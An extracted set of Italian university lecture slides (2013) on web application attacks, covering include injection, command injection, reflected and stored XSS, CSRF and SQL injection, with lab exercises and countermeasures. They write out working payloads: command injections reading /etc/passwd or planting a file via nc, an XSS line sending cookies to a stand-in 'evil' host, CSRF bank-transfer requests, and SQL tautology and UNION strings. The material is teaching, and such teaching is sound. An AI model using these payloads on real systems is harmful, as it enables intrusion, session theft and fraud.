Sicurezza delle applicazioni web: attacchi web

Transcript

Sicurezza delle applicazioni web: attacchi web
Università degli Studi di Milano
Facoltà di Scienze Matematiche, Fisiche e Naturali
Anno Accademico 2012/2013
Sicurezza delle applicazioni web: attacchi web
Srdjan Matic, Aristide Fattori
31 Maggio 2013
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
1 / 33
OWASP Top Ten (2010)
1
Injection
2
Cross-Site Scripting (XSS)
3
Broken Authentication and Session Management
4
Insecure Direct Object References
5
Cross-Site Request Forgery (CSRF)
6
Security Misconfiguration
7
Insecure Cryptographic Storage
8
Failure to Restrict URL Access
9
Insufficient Transport Layer Protection
10
Unvalidated Redirects and Forwards
OWASP Top Ten (2013)
Stato attuale controllabile al url
https://www.owasp.org/index.php/Top_10_2013-T10
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
2 / 33
OWASP Top Ten (2010)
1
Injection
2
Cross-Site Scripting (XSS)
3
Broken Authentication and Session Management
4
Insecure Direct Object References
5
Cross-Site Request Forgery (CSRF)
6
Security Misconfiguration
7
Insecure Cryptographic Storage
8
Failure to Restrict URL Access
9
Insufficient Transport Layer Protection
10
Unvalidated Redirects and Forwards
OWASP Top Ten (2013)
Stato attuale controllabile al url
https://www.owasp.org/index.php/Top_10_2013-T10
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
2 / 33
Environment
Sistema stabile
Un sistema stabile è un sistema provvisto di una risposta
documentata a fronte qualsiasi cambiamento di una condizione
esterna.
Sanitizzazione
La sanitizzazione implica la modifica del contenuto di un
parametro per evitare una risposta non documentata dello script.
Problema
Separazione dei ruoli: il codice inviato dai client può “interagire”
con quello presente lato server.
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
3 / 33
Environment
Sistema stabile
Un sistema stabile è un sistema provvisto di una risposta
documentata a fronte qualsiasi cambiamento di una condizione
esterna.
Sanitizzazione
La sanitizzazione implica la modifica del contenuto di un
parametro per evitare una risposta non documentata dello script.
Problema
Separazione dei ruoli: il codice inviato dai client può “interagire”
con quello presente lato server.
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
3 / 33
Environment
Sistema stabile
Un sistema stabile è un sistema provvisto di una risposta
documentata a fronte qualsiasi cambiamento di una condizione
esterna.
Sanitizzazione
La sanitizzazione implica la modifica del contenuto di un
parametro per evitare una risposta non documentata dello script.
Problema
Separazione dei ruoli: il codice inviato dai client può “interagire”
con quello presente lato server.
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
3 / 33
Source Code Injection
Include file injection
Source code injection è una vulnerabilià causata da un controllo
non sufficiente sulle variabili che vengono utilizzate nelle funzioni,
come ad esempio include(), require().
Esempio:
<?php include("$data") ?>
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
4 / 33
ESEMPIO-1
http://localhost/web2/source code injection/
1
Vistiamo la root. Cosa vediamo?
2
Su che parametri abbiamo il controllo?
3
C’è qualche altra info che abbiamo notato nei sorgenti HTML?
4
Basic Authentication, come funziona? (.htaccess ∧ .htpasswd)
5
Vediamo i sorgenti di “inclusion.php“
Cosa vogliamo fare e/o ottenere?
PROBLEMA-1: dove stà il file .htpasswd? Tiriamo ad indovinare?
PROBLEMA-2: e i permessi? Con che permessi il file viene aperto?
DOMANDA: e se proviamo a spostare il file dove non è raggiungibile dal
web-server... Abbiamo risolto il problema?
ma... .htpasswd contiene HASH e non le password in chiaro... e c’è
persino il salting!!! Che facciamo??? :(
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
5 / 33
ESEMPIO-1
http://localhost/web2/source code injection/
1
Vistiamo la root. Cosa vediamo?
2
Su che parametri abbiamo il controllo?
3
C’è qualche altra info che abbiamo notato nei sorgenti HTML?
4
Basic Authentication, come funziona? (.htaccess ∧ .htpasswd)
5
Vediamo i sorgenti di “inclusion.php“
Cosa vogliamo fare e/o ottenere?
PROBLEMA-1: dove stà il file .htpasswd? Tiriamo ad indovinare?
PROBLEMA-2: e i permessi? Con che permessi il file viene aperto?
DOMANDA: e se proviamo a spostare il file dove non è raggiungibile dal
web-server... Abbiamo risolto il problema?
ma... .htpasswd contiene HASH e non le password in chiaro... e c’è
persino il salting!!! Che facciamo??? :(
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
5 / 33
Command injection
Esempio
Command Injection
i linguaggi di lato server consentono l’esecuzione di comandi (e.g.,
system(), exec(), popen(), eval())
a volte nome/argomenti sono generati dinamicamente
⇒ mancata sanitizzazione può introdurre vulnerabilità
non è sempre facile applicare una sanitizzazione adeguata
Ricerca di uno User-Agent nei log
...
pattern = $_GET[’chiave’];
system(’cut -d ¨ -f 6 /var/log/apache2/access.log | grep -i ’.$pattern );
...
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
6 / 33
Command injection
Esempio
Command Injection
i linguaggi di lato server consentono l’esecuzione di comandi (e.g.,
system(), exec(), popen(), eval())
a volte nome/argomenti sono generati dinamicamente
⇒ mancata sanitizzazione può introdurre vulnerabilità
non è sempre facile applicare una sanitizzazione adeguata
Ricerca di uno User-Agent nei log
...
pattern = $_GET[’chiave’];
system(’cut -d ¨ -f 6 /var/log/apache2/access.log | grep -i ’.$pattern );
...
Esempio di abuso:
cat /etc/passwd ; echo Ha-ha
⇓
http://www.ex.com/user_agent_stat.php?chiave=cat%20/etc/passwd%20;
%20echo%20Ha-ha
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
6 / 33
ESEMPIO-2
http://localhost/web2/command injection/
1
cosa sono access.log e last snapshot.log
2
logger trivial.php:
esempio di utilizzo
analisi codice sorgente
esempio exploit → asdasd ; cat /etc/passwd
3
logger secure.php
esempio di utilizzo (come sopra)
proviamo a replicare l’attacco precedente
SUGGERIMENTI?
5 minuti di tempo per suggerimenti senza mostravi il sorgente...
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
7 / 33
ESEMPIO-2
http://localhost/web2/command injection/
1
cosa sono access.log e last snapshot.log
2
logger trivial.php:
esempio di utilizzo
analisi codice sorgente
esempio exploit → asdasd ; cat /etc/passwd
3
logger secure.php
esempio di utilizzo (come sopra)
proviamo a replicare l’attacco precedente
SUGGERIMENTI?
5 minuti di tempo per suggerimenti senza mostravi il sorgente...
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
7 / 33
ESEMPIO-2
http://localhost/web2/command injection/
1
cosa sono access.log e last snapshot.log
2
logger trivial.php:
esempio di utilizzo
analisi codice sorgente
esempio exploit → asdasd ; cat /etc/passwd
3
logger secure.php
esempio di utilizzo (come sopra)
proviamo a replicare l’attacco precedente
SUGGERIMENTI?
5 minuti di tempo per suggerimenti senza mostravi il sorgente...
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
7 / 33
ESEMPIO-2 (logger secure.php)
Sorgente di logger secure.php
<?php
if ( isset($_POST[’useragent’]) ){
$pattern=$_POST[’useragent’];
if ( strpos($pattern, ";") != FALSE ){
echo "<b>Oh, come on... Don’t try to inject multiple commands</b>";
}
else {
/* DOUBLE ESCAPE: first for ’\’, second for ’"’ */
system("cut -d \\\" -f 6 access.log | grep -i ".$pattern." > last_snapshot.log");
}
}
?>
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
8 / 33
ESEMPIO-2 (logger secure.php)
Sorgente di logger secure.php
<?php
if ( isset($_POST[’useragent’]) ){
$pattern=$_POST[’useragent’];
if ( strpos($pattern, ";") != FALSE ){
echo "<b>Oh, come on... Don’t try to inject multiple commands</b>";
}
else {
/* DOUBLE ESCAPE: first for ’\’, second for ’"’ */
system("cut -d \\\" -f 6 access.log | grep -i ".$pattern." > last_snapshot.log");
}
}
?>
Richiesta:
Fare l’upload di un (fittizio) eseguibile maligno sul server e sostituirlo al file
“last snapshot.log”; fare in modo che in seguito all’upload tutti gli utenti che
cerchino di scaricare il file “last snapshot.log”ottengano invece l’eseguibile.
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
8 / 33
ESEMPIO-2 (logger secure.php)
Sorgente di logger secure.php
<?php
if ( isset($_POST[’useragent’]) ){
$pattern=$_POST[’useragent’];
if ( strpos($pattern, ";") != FALSE ){
echo "<b>Oh, come on... Don’t try to inject multiple commands</b>";
}
else {
/* DOUBLE ESCAPE: first for ’\’, second for ’"’ */
system("cut -d \\\" -f 6 access.log | grep -i ".$pattern." > last_snapshot.log");
}
}
?>
Richiesta:
Fare l’upload di un (fittizio) eseguibile maligno sul server e sostituirlo al file
“last snapshot.log”; fare in modo che in seguito all’upload tutti gli utenti che
cerchino di scaricare il file “last snapshot.log”ottengano invece l’eseguibile.
Soluzione (sequenza di parametri da inviare nelle richieste GET:
1
$(nc -l -p 5432 -q0 > last snapshot.log) #
2
$(chmod 444 last snapshot.log) #
3
$(sed -i "s/href=\"last snapshot.log=\"/href==\"last snapshot.log.exe=\"/g" logger.php) #
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
8 / 33
Attacchi client-side
Cross-Site Scripting (XSS) e Cross-Site Request Forgery (CSRF)
sfruttano la fiducia che un utente ha di un sito web (XSS), o
viceversa (CSRF)
attacco: modificare la pagina HTML originale, aggiungendo
codice (HTML o JavaScript)
la vittima si collega al server vulnerabile che restituisce la
pagina modificata (e.g., link in e-mail, IM, link sulla rete)
il browser interpreta il codice iniettato dall’attaccante
Esempi di obiettivi dell’attacco
1
ottenere cookie associati al dominio vulnerabile
2
manipolazione form di login
3
esecuzione di GET/POST addizionali
4
. . . qualunque cosa si possa fare con HTML + JavaScript!
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
9 / 33
Attacchi client-side
Cross-Site Scripting (XSS) e Cross-Site Request Forgery (CSRF)
sfruttano la fiducia che un utente ha di un sito web (XSS), o
viceversa (CSRF)
attacco: modificare la pagina HTML originale, aggiungendo
codice (HTML o JavaScript)
la vittima si collega al server vulnerabile che restituisce la
pagina modificata (e.g., link in e-mail, IM, link sulla rete)
il browser interpreta il codice iniettato dall’attaccante
Esempi di obiettivi dell’attacco
1
ottenere cookie associati al dominio vulnerabile
2
manipolazione form di login
3
esecuzione di GET/POST addizionali
4
. . . qualunque cosa si possa fare con HTML + JavaScript!
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
9 / 33
Reflected Cross-Site Scripting
Funzionamento
una pagina dinamica è vulnerabile a XSS
l’utente è indotto a accedere alla pagina vulnerabile
l’exploit è contenuto nell’URL
Esempio:
http://vulnerabile/a.php?var=<script>document.location=’http:
//evil/log.php?’+document.cookie</script>
Offuscamento
tecniche di encoding
nascondere il link con l’exploit dalla barra di stato
un link innocuo effettua un redirect (HTTP 3xx)
servizi di url-shortening
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
10 / 33
Reflected Cross-Site Scripting
Esempio
sul server c’è una pagina PHP che contiene:
Benvenuto <?php echo $_GET[’nome’]; ?>
la vittima visita il seguente url:
http://vulnerabile/vuln.php?nome=<script>document.location=
’http://evil/log.php?’+document.cookie</script>
il browser crea la seguente richiesta HTTP:
GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D
%27http%3A%2F%2Fevil%2Flog.php%3F%27%2B
document.cookie%3C%2Fscript%3E
Host: vulnerabile
...
risultato HTML prodotto dal server:
Benvenuto <script>document.location=
’http://evil/log.php?’+document.cookie</script>
Il browser interpreta il codice JavaScript, legge i cookie
della vittima per il dominio “vulnerabile”, si collega al sito evil
e li passa in GET
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
11 / 33
Reflected Cross-Site Scripting
Esempio
sul server c’è una pagina PHP che contiene:
Benvenuto <?php echo $_GET[’nome’]; ?>
la vittima visita il seguente url:
http://vulnerabile/vuln.php?nome=<script>document.location=
’http://evil/log.php?’+document.cookie</script>
il browser crea la seguente richiesta HTTP:
GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D
%27http%3A%2F%2Fevil%2Flog.php%3F%27%2B
document.cookie%3C%2Fscript%3E
Host: vulnerabile
...
risultato HTML prodotto dal server:
Benvenuto <script>document.location=
’http://evil/log.php?’+document.cookie</script>
Il browser interpreta il codice JavaScript, legge i cookie
della vittima per il dominio “vulnerabile”, si collega al sito evil
e li passa in GET
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
11 / 33
Reflected Cross-Site Scripting
Esempio
sul server c’è una pagina PHP che contiene:
Benvenuto <?php echo $_GET[’nome’]; ?>
la vittima visita il seguente url:
http://vulnerabile/vuln.php?nome=<script>document.location=
’http://evil/log.php?’+document.cookie</script>
il browser crea la seguente richiesta HTTP:
GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D
%27http%3A%2F%2Fevil%2Flog.php%3F%27%2B
document.cookie%3C%2Fscript%3E
Host: vulnerabile
...
risultato HTML prodotto dal server:
Benvenuto <script>document.location=
’http://evil/log.php?’+document.cookie</script>
Il browser interpreta il codice JavaScript, legge i cookie
della vittima per il dominio “vulnerabile”, si collega al sito evil
e li passa in GET
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
11 / 33
Reflected Cross-Site Scripting
Esempio
sul server c’è una pagina PHP che contiene:
Benvenuto <?php echo $_GET[’nome’]; ?>
la vittima visita il seguente url:
http://vulnerabile/vuln.php?nome=<script>document.location=
’http://evil/log.php?’+document.cookie</script>
il browser crea la seguente richiesta HTTP:
GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D
%27http%3A%2F%2Fevil%2Flog.php%3F%27%2B
document.cookie%3C%2Fscript%3E
Host: vulnerabile
...
risultato HTML prodotto dal server:
Benvenuto <script>document.location=
’http://evil/log.php?’+document.cookie</script>
Il browser interpreta il codice JavaScript, legge i cookie
della vittima per il dominio “vulnerabile”, si collega al sito evil
e li passa in GET
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
11 / 33
Reflected Cross-Site Scripting
Esempio
sul server c’è una pagina PHP che contiene:
Benvenuto <?php echo $_GET[’nome’]; ?>
la vittima visita il seguente url:
http://vulnerabile/vuln.php?nome=<script>document.location=
’http://evil/log.php?’+document.cookie</script>
il browser crea la seguente richiesta HTTP:
GET /vuln.php?nome=%3Cscipt%3Edocument.location%3D
%27http%3A%2F%2Fevil%2Flog.php%3F%27%2B
document.cookie%3C%2Fscript%3E
Host: vulnerabile
...
risultato HTML prodotto dal server:
Benvenuto <script>document.location=
’http://evil/log.php?’+document.cookie</script>
Il browser interpreta il codice JavaScript, legge i cookie
della vittima per il dominio “vulnerabile”, si collega al sito evil
e li passa in GET
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
11 / 33
ESEMPIO-3
http://localhost/web2/reflected xss/
1
Perchè ho utilizzato redirect?
2
forum reflected.php:
analisi sorgente HTML
funzionamento “LOGIN”a
funzionamento “LOGOUT”
funzionamento “Filter”
a
EX: Avrei potuto passare le credenziali in GET? Perchè ho scelto POST???
SUGGERIMENTI?
Senza controllare i sorgenti... Come possiamo provare a fare per trovare
la vunerabilità?
Trovata la vunlerabilità... Cosa facciamo?a
a
EX: server python senza redirect... utente crede che la pagina “non sia
funzionante’
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
12 / 33
ESEMPIO-3
http://localhost/web2/reflected xss/
1
Perchè ho utilizzato redirect?
2
forum reflected.php:
analisi sorgente HTML
funzionamento “LOGIN”a
funzionamento “LOGOUT”
funzionamento “Filter”
a
EX: Avrei potuto passare le credenziali in GET? Perchè ho scelto POST???
SUGGERIMENTI?
Senza controllare i sorgenti... Come possiamo provare a fare per trovare
la vunerabilità?
Trovata la vunlerabilità... Cosa facciamo?a
a
EX: server python senza redirect... utente crede che la pagina “non sia
funzionante’
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
12 / 33
Stored Cross-Site Scripting
Fase 1
l’attaccante invia al server il codice da iniettare
il server memorizza in modo persistente il codice (e.g.,
database, file, messaggio inserito in un forum)
il codice dell’attacco non è visibile nell’URL
Fase 2
un client si collega al server
il server genera la pagina inserendo in ogni risposta anche il
codice iniettato
Osservazioni
tutti gli utenti che richiederanno la pagina subiranno l’attacco
il codice iniettato non è visibile nell’URL
molto più pericoloso rispetto ai reflected!
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
13 / 33
ESEMPIO-4
http://localhost/web2/stored xss/
1
forum stored.php:
analisi sorgente HTML
funzionamento “LOGIN”
funzionamento “LOGOUT”
funzionamento “Post it!”
SUGGERIMENTI?
Senza necessità controllare i sorgenti... Essendo uno stored-xss dove
starà la vulnerabilità?
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
14 / 33
ESEMPIO-4
http://localhost/web2/stored xss/
1
forum stored.php:
analisi sorgente HTML
funzionamento “LOGIN”
funzionamento “LOGOUT”
funzionamento “Post it!”
SUGGERIMENTI?
Senza necessità controllare i sorgenti... Essendo uno stored-xss dove
starà la vulnerabilità?
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
14 / 33
Cross-Site Request Forgery
Obiettivo
far eseguire delle azioni alle vittime, sfruttando le loro credenziali
(e.g., cookie di sessione)
con JavaScript non è possibile accedere ai cookie di un altro
dominio (same origin policy )
XSS ⊂ CSRF, ossia XSS =⇒ CSRF
CSRF è possibile anche senza XSS
CSRF reflected e stored
samy is my hero → worm JavaScript che sfrutta CSRF
. . . forse non ancora utilizzati per creare danni tangibili
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
15 / 33
Stored CSRF (GET)
Esempio stored CSRF in sito maligno
il client si collega a http://www.mia-banca.it/ e si
autentica
il client apre un’altra istanza del browser (tab o finestra) e si
collega ad un sito maligno
la pagina maligna contiene qualcosa del tipo:
<img src=”http://www.miabanca.it/traferisci.php?to=1337&amount=10000”/>
il browser crea una richiesta HTTP nella quale inserisce i
parametri GET e inserisce il Cookie con l’ID di sessione
appropriato
Osservazioni
in JavaScript, utilizzando i form HTML si possono creare
qualsiasi tipo di richieste HTTP (sia GET che POST)
il sito maligno non deve essere necessariamente dinamico!
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
16 / 33
Stored CSRF (POST)
Esempio stored CSRF nel target
Assunzione
l’attaccante ha il pieno accesso alla pagina HTML e può usare AJAX
la vittima si collega a http://www.banca-vulnerabile.it
e si autentica
la vittima richiede la pagina che contiene il codice dell’attacco
il server (oltre alla pagine) restituisce:
var http = false;
var body = "to=1337&amount=10000";
http = new XMLHttpRequest();
http.onreadystatechange = handleResponse;
http.open("POST", "http://www.banca-vulnerabile.it/trasferisci.php", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", body.length);
http.send(body);
function handleResponse() ....
per banca-vulnerabile, la richiesta è indistinguibile da una
“lecita”
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
17 / 33
XSS/CSRF: Contromisure
Lato client
reflected XSS: se l’attacco è visibile nella URL può essere
facilmente evitato passando dalla root del dominio
estensioni per Firefox: noscript (JavaScript su richiesta)
non visitare altri siti quando utilizza il conto on-line, effettuare
sempre il logout
Lato server
l’input va sempre considerato insicuro, vanno applicate le
corrette funzioni di sanitizzazione (e.g., htmlspecialchars())
Per CSRF:
CAPTCHA, PIN da inserire per ogni transazione importante
per quelli su siti esterni si potrebbe passare una chiave tra le
varie pagine dell’applicazione (e.g., campi hidden)
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
18 / 33
SQL injection (SQLI)
Scenario
molte applicazioni web hanno la necessità di memorizzare dati
strutturati (e.g., forum, CMS, e-commerce, blog, . . . )
⇒ database
SQL Injection
Si definisce SQL Injection una vulnerabilità che si verifica quando
un attaccante è in grado di inserire codice nella query SQL.
SQLI
mancata validazione dell’input
le query generate dall’applicazione contengono input
si ha SQLI quando, manipolando l’input, è possibile
modificare sintatticamente o semanticamente una query SQL
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
19 / 33
SQL injection (SQLI)
Scenario
molte applicazioni web hanno la necessità di memorizzare dati
strutturati (e.g., forum, CMS, e-commerce, blog, . . . )
⇒ database
SQL Injection
Si definisce SQL Injection una vulnerabilità che si verifica quando
un attaccante è in grado di inserire codice nella query SQL.
SQLI
mancata validazione dell’input
le query generate dall’applicazione contengono input
si ha SQLI quando, manipolando l’input, è possibile
modificare sintatticamente o semanticamente una query SQL
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
19 / 33
SQL injection
Esempio (PHP)
...
$nome = $_POST[’nome’];
$passw = $_POST[’passw’];
$result = mysql_query("SELECT * FROM Utenti " .
"WHERE nome=’$nome’ AND passw=’$passw’;");
if(mysql_num_rows($result) > 0 )
...
1
nome = mario ∧ passw = mysecretpass
→ ... WHERE nome=’mario’ AND passw=’xyz’;
2
nome = admin ∧ passw = xyz’ OR ’1’=’1
→ ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’;
. . . quali righe seleziona l’ultima query?
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
20 / 33
SQL injection
Esempio (PHP)
...
$nome = $_POST[’nome’];
$passw = $_POST[’passw’];
$result = mysql_query("SELECT * FROM Utenti " .
"WHERE nome=’$nome’ AND passw=’$passw’;");
if(mysql_num_rows($result) > 0 )
...
1
nome = mario ∧ passw = mysecretpass
→ ... WHERE nome=’mario’ AND passw=’xyz’;
2
nome = admin ∧ passw = xyz’ OR ’1’=’1
→ ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’;
. . . quali righe seleziona l’ultima query?
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
20 / 33
SQL injection
Esempio (PHP)
...
$nome = $_POST[’nome’];
$passw = $_POST[’passw’];
$result = mysql_query("SELECT * FROM Utenti " .
"WHERE nome=’$nome’ AND passw=’$passw’;");
if(mysql_num_rows($result) > 0 )
...
1
nome = mario ∧ passw = mysecretpass
→ ... WHERE nome=’mario’ AND passw=’xyz’;
2
nome = admin ∧ passw = xyz’ OR ’1’=’1
→ ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’;
. . . quali righe seleziona l’ultima query?
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
20 / 33
SQL injection
Esempio (PHP)
...
$nome = $_POST[’nome’];
$passw = $_POST[’passw’];
$result = mysql_query("SELECT * FROM Utenti " .
"WHERE nome=’$nome’ AND passw=’$passw’;");
if(mysql_num_rows($result) > 0 )
...
1
nome = mario ∧ passw = mysecretpass
→ ... WHERE nome=’mario’ AND passw=’xyz’;
2
nome = admin ∧ passw = xyz’ OR ’1’=’1
→ ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’;
. . . quali righe seleziona l’ultima query?
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
20 / 33
SQLI: Sorgenti d’iniezione
Input utente e header HTTP
Input dell’utente
parametri GET/POST
molte tecnologie client-side comunicano col server tramite
GET/POST (e.g., Flash, applet Java, AJAX)
Header HTTP
tutti gli header HTTP devono essere considerati pericolosi
User-Agent,Referer,. . . possono essere stati manipolati
... tutto ciò che proviene da un qualsiasi client è da
considerarsi “sospetto”
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
21 / 33
SQLI: Sorgenti d’iniezione
Cookie e second order injection
Cookie
sono header aggiuntivi
non modificabili da un normale browser
provengono dal client ⇒ pericolosi
Second order injection
l’input viene memorizzato dall’applicazione (file,database)
successivamente, l’input è utilizzato senza filtraggio o
sanitizzazione per la costruzione di query SQL
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
22 / 33
SQLI: Obiettivi dell’attacco
identificazione dei parametri iniettabili: analizzare
l’applicazione per scoprire le sorgenti d’iniezione
database footprinting: scoprire tipo e versione del DBMS in
uso; facilitato da una gestione inadeguata degli errori
determinazione del DB schema: nomi delle tabelle, nome e
tipo delle colonne
estrazione dati: estrazione di dati (sensibili) dal database
manipolazione dei dati: inserimento, modifica o cancellazione
dei dati
denial of service: impedire l’uso dell’applicazione ad altri
utenti (LOCK, DELETE, . . . )
bypassing dell’autenticazione: eludere un meccanismo di
autenticazione
esecuzione remota di comandi: esecuzione di comandi (esterni
al DBMS, stored procedure)
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
23 / 33
SQLI: Alcuni esempi
Bypass dell’autenticazione tramite “tautologie”
query dell’applicazione:
$q = "SELECT id FROM utente WHERE user=’".$user." ’
AND pass=’ ".$pass." ’ ";
parametri inviati dall’attaccante:
$user = "admin";
$pass = "’ OR ’1’=’1";
query eseguita dall’applicazione:
$q = "SELECT id FROM utente WHERE user=’admin’
AND pass=’’ OR ’1’=’1’";
se l’applicazione Web avesse sanitizzato l’input
(e.g.,mysql escape string()):
$q = "SELECT id FROM utente WHERE user=’admin’
AND pass=’\’ OR \’\’=\’’";
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
24 / 33
SQLI: Alcuni esempi
Bypass dell’autenticazione tramite “tautologie”
query dell’applicazione:
$q = "SELECT id FROM utente WHERE user=’".$user." ’
AND pass=’ ".$pass." ’ ";
parametri inviati dall’attaccante:
$user = "admin";
$pass = "’ OR ’1’=’1";
query eseguita dall’applicazione:
$q = "SELECT id FROM utente WHERE user=’admin’
AND pass=’’ OR ’1’=’1’";
se l’applicazione Web avesse sanitizzato l’input
(e.g.,mysql escape string()):
$q = "SELECT id FROM utente WHERE user=’admin’
AND pass=’\’ OR \’\’=\’’";
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
24 / 33
SQLI: Alcuni esempi
Bypass dell’autenticazione tramite “tautologie”
query dell’applicazione:
$q = "SELECT id FROM utente WHERE user=’".$user." ’
AND pass=’ ".$pass." ’ ";
parametri inviati dall’attaccante:
$user = "admin";
$pass = "’ OR ’1’=’1";
query eseguita dall’applicazione:
$q = "SELECT id FROM utente WHERE user=’admin’
AND pass=’’ OR ’1’=’1’";
se l’applicazione Web avesse sanitizzato l’input
(e.g.,mysql escape string()):
$q = "SELECT id FROM utente WHERE user=’admin’
AND pass=’\’ OR \’\’=\’’";
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
24 / 33
SQLI: Alcuni esempi
Bypass dell’autenticazione tramite “tautologie”
query dell’applicazione:
$q = "SELECT id FROM utente WHERE user=’".$user." ’
AND pass=’ ".$pass." ’ ";
parametri inviati dall’attaccante:
$user = "admin";
$pass = "’ OR ’1’=’1";
query eseguita dall’applicazione:
$q = "SELECT id FROM utente WHERE user=’admin’
AND pass=’’ OR ’1’=’1’";
se l’applicazione Web avesse sanitizzato l’input
(e.g.,mysql escape string()):
$q = "SELECT id FROM utente WHERE user=’admin’
AND pass=’\’ OR \’\’=\’’";
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
24 / 33
SQLI: Alcuni esempi
Altre “tautologie”
utilizzo di commenti SQL per evitare di terminare
correttamente la query
$user = "admin";
$pass = "’ OR 1=1 -- ";
$q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1=1 -’";
$user = "admin";
$pass = "’ OR 1 -- ";
$q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1 -- ’";
$user = "admin’ #";
$q = "SELECT id FROM utente WHERE user=’admin’ #’ AND pass=’’";
scelta “blind” del primo user disponibile
$user = "’ OR user LIKE ’%’ #";
$q = "SELECT id FROM utente WHERE user=’!’ OR user LIKE ’%’ #’
AND pass=’’";
$user = "’ OR 1 #";
$q = "SELECT id FROM utente WHERE user=’’ OR 1 #’ AND pass=’’";
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
25 / 33
SQLI: Alcuni esempi
Altre “tautologie”
utilizzo di commenti SQL per evitare di terminare
correttamente la query
$user = "admin";
$pass = "’ OR 1=1 -- ";
$q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1=1 -’";
$user = "admin";
$pass = "’ OR 1 -- ";
$q = "SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1 -- ’";
$user = "admin’ #";
$q = "SELECT id FROM utente WHERE user=’admin’ #’ AND pass=’’";
scelta “blind” del primo user disponibile
$user = "’ OR user LIKE ’%’ #";
$q = "SELECT id FROM utente WHERE user=’!’ OR user LIKE ’%’ #’
AND pass=’’";
$user = "’ OR 1 #";
$q = "SELECT id FROM utente WHERE user=’’ OR 1 #’ AND pass=’’";
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
25 / 33
Tecniche d’attacco SQLI
UNION Query
Obiettivo
Riuscire a reperire record da altre tabelle
esempio di query:
$q = "SELECT id, nome, prezzo, descrizione" .
"FROM prodotto WHERE categoria=" . $_GET[’cat’];
parametri passati dall’attaccante:
$cat = "1 UNION SELECT 1, user, 1, pass FROM utente";
Note:
1 numero e tipo di colonne della seconda SELECT devono
coincidere con quelli della prima
2 MySQL: una mancata corrispondenza fra i tipi provoca cast
automatici
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
26 / 33
Tecniche d’attacco SQLI
UNION Query
Obiettivo
Riuscire a reperire record da altre tabelle
esempio di query:
$q = "SELECT id, nome, prezzo, descrizione" .
"FROM prodotto WHERE categoria=" . $_GET[’cat’];
parametri passati dall’attaccante:
$cat = "1 UNION SELECT 1, user, 1, pass FROM utente";
Note:
1 numero e tipo di colonne della seconda SELECT devono
coincidere con quelli della prima
